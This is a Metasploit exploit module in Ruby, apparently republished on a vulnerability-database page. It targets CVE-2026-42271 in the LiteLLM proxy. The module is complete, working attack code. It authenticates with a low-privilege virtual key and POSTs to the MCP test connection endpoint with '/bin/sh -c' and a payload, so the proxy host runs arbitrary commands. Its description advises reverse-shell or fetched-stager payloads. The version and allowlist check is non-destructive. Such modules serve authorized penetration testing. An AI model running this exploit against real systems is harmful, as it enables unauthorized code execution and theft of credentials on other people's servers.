BerriAI LiteLLM Proxy MCP Test Endpoint Command Execution
10
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BerriAI LiteLLM Proxy MCP Test Endpoint Command Execution',
'Description' => %q{
This module exploits CVE-2026-42271, a command execution vulnerability
in the BerriAI LiteLLM proxy. The MCP "test" REST endpoints
(POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list),
used by the admin UI to preview an MCP server before saving it, accept
a full server configuration in the request body. When the supplied
transport is "stdio", LiteLLM builds an MCP client that spawns the
provided command with its args as a subprocess on the proxy host.
On affected versions both endpoints are gated only by
user_api_key_auth and the stdio command is unrestricted, so any caller
holding a valid virtual key - including a low-privilege, non-admin key -
can reach the spawn path and run arbitrary commands as the LiteLLM proxy
process. LiteLLM 1.83.7 fixed this with two controls: it requires the
PROXY_ADMIN role on both endpoints (a non-admin key now receives HTTP
403), and it restricts the stdio command to an allowlist of interpreters
(deno, docker, node, npx, python, python3, uvx), so an arbitrary command
such as /bin/sh is rejected with HTTP 422 regardless of role.
Affected versions are 1.74.2 through 1.83.6 (fixed in 1.83.7). This
module targets the privilege boundary the CVE describes and expects a
non-admin APIKEY. When chained with the Starlette host-header
authentication bypass (CVE-2026-48710) the same primitive becomes
pre-authentication; that bypass is out of scope for this module, which
requires a valid virtual key.
The command runs blind: the spawned process is not an MCP server, so the
endpoint reports a connection failure after the command has already
executed. Use a payload that calls back (for example a reverse shell or
a fetched stager) rather than one whose output is read from the
response.
},
'Author' => [
'Kenneth LaCroix' # Metasploit module (vuln disclosed via GHSA-v4p8-mg3p-g94g)
],
'References' => [
['CVE', '2026-42271'],
['GHSA', 'v4p8-mg3p-g94g']
],
'DisclosureDate' => '2026-04-21',
'License' => MSF_LICENSE,
'Privileged' => false,
'Targets' => [
[ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD } ]
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'RPORT' => 4000, 'SSL' => false },
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the LiteLLM proxy', '/']),
OptString.new('APIKEY', [true, 'A valid LiteLLM virtual key (a non-admin key proves the privilege boundary)'])
]
)
end
# Best-effort version string from the unauthenticated /health response header.
def litellm_version
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'health'))
return nil unless res
key = res.headers.keys.find { |k| k.casecmp?('x-litellm-version') }
key ? res.headers[key] : nil
end
# Report the LiteLLM proxy as a layered service (litellm -> [ssl ->] http ->
# tcp) so the version banner is stored alongside it, even when the flaw is
# confirmed by the active check rather than the banner.
def report_litellm_service
base_opts = { host: rhost, port: rport, proto: 'tcp' }
http_srv = base_opts.merge(name: 'http', parents: base_opts.merge(name: 'tcp'))
litellm_srv = base_opts.merge(
name: 'litellm',
info: @version ? "LiteLLM #{@version}" : 'LiteLLM proxy MCP test endpoint'
)
litellm_srv[:parents] = datastore['SSL'] ? base_opts.merge(name: 'ssl', parents: http_srv) : http_srv
report_service(litellm_srv)
end
def check
# Best-effort version banner. Even when the active check confirms the flaw,
# the version is worth storing alongside the reported service.
@version = litellm_version
if datastore['APIKEY'].blank?
# Without a key we cannot run the active probe, so fall back to the version
# banner alone - a weaker signal (presence in the affected range, not
# confirmed execution).
if @version
begin
v = Rex::Version.new(@version)
if v >= Rex::Version.new('1.74.2') && v < Rex::Version.new('1.83.7')
report_litellm_service
return CheckCode::Appears("LiteLLM #{@version}")
end
report_litellm_service
return CheckCode::Safe("LiteLLM #{@version} is outside the affected range (>= 1.74.2, < 1.83.7)")
rescue ArgumentError
# Unparseable version banner and no key to run the active probe.
end
end
return CheckCode::Unknown('Set APIKEY to run the behavioural check, or the LiteLLM version banner was unavailable; cannot confirm the target')
end
# Active check first (more accurate): probe the stdio command allowlist
# without running anything. We submit a command at a path that cannot exist
# with non-empty args (args are required for stdio transport). A patched
# build rejects the command with HTTP 422 and an "allowed commands" message
# before any spawn; a vulnerable build has no allowlist, attempts to spawn
# the missing binary, fails with ENOENT, and returns a generic connection
# error (HTTP 200) - so nothing is executed either way.
probe_cmd = "/#{Rex::Text.rand_text_alphanumeric(8)}/#{Rex::Text.rand_text_alphanumeric(8)}"
probe = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'mcp-rest', 'test', 'connection'),
'ctype' => 'application/json',
'headers' => { 'Authorization' => "Bearer #{datastore['APIKEY']}" },
'data' => { 'server_name' => Rex::Text.rand_text_alphanumeric(8), 'transport' => 'stdio', 'command' => probe_cmd, 'args' => ['--version'] }.to_json
})
return CheckCode::Unknown('Connection failed') unless probe
case probe.code
when 422
if probe.body.to_s.include?('allowed commands')
report_litellm_service
CheckCode::Safe('The MCP test endpoint enforces the stdio command allowlist (patched)')
else
CheckCode::Unknown("The request was rejected as invalid (HTTP 422): #{probe.body}")
end
when 403
report_litellm_service
CheckCode::Safe('The MCP test endpoint requires the PROXY_ADMIN role (patched)')
when 401
CheckCode::Unknown('The provided APIKEY was rejected (HTTP 401)')
when 200
# A vulnerable build has no allowlist: it attempts to spawn the missing
# binary, fails with ENOENT, and reports a generic connection error (200).
report_litellm_service
CheckCode::Vulnerable('The MCP test endpoint accepted an arbitrary stdio command (HTTP 200)')
else
CheckCode::Unknown("Unexpected response (HTTP #{probe.code}); unable to confirm the stdio command allowlist")
end
end
def execute_command(cmd, _opts = {})
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'mcp-rest', 'test', 'connection'),
'ctype' => 'application/json',
'headers' => { 'Authorization' => "Bearer #{datastore['APIKEY']}" },
'data' => {
'server_name' => Rex::Text.rand_text_alphanumeric(8),
'transport' => 'stdio',
'command' => '/bin/sh',
'args' => ['-c', cmd]
}.to_json
})
# A connection-error reply is expected: the spawned shell keeps the stdio
# pipe open so the server-side MCP handshake stalls until the request times
# out, by which point the command has already run. A patched target
# instead rejects the request before any spawn - HTTP 422 from the stdio
# command allowlist, or HTTP 403 when the key lacks the PROXY_ADMIN role.
if res.code == 403
fail_with(Failure::NoAccess, 'The proxy requires the PROXY_ADMIN role (HTTP 403); the supplied key lacks access')
elsif res.code == 422
fail_with(Failure::NotVulnerable, 'The proxy enforces the stdio command allowlist (HTTP 422); the target appears patched (>= 1.83.7)')
end
res
end
def exploit
print_status("Sending stdio MCP test request to #{full_uri(normalize_uri(target_uri.path, 'mcp-rest', 'test', 'connection'))}")
execute_command(payload.encoded)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Apr 2026 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.16.5 - 8.8
CVSS 48.7
EPSS0.9257
SSVC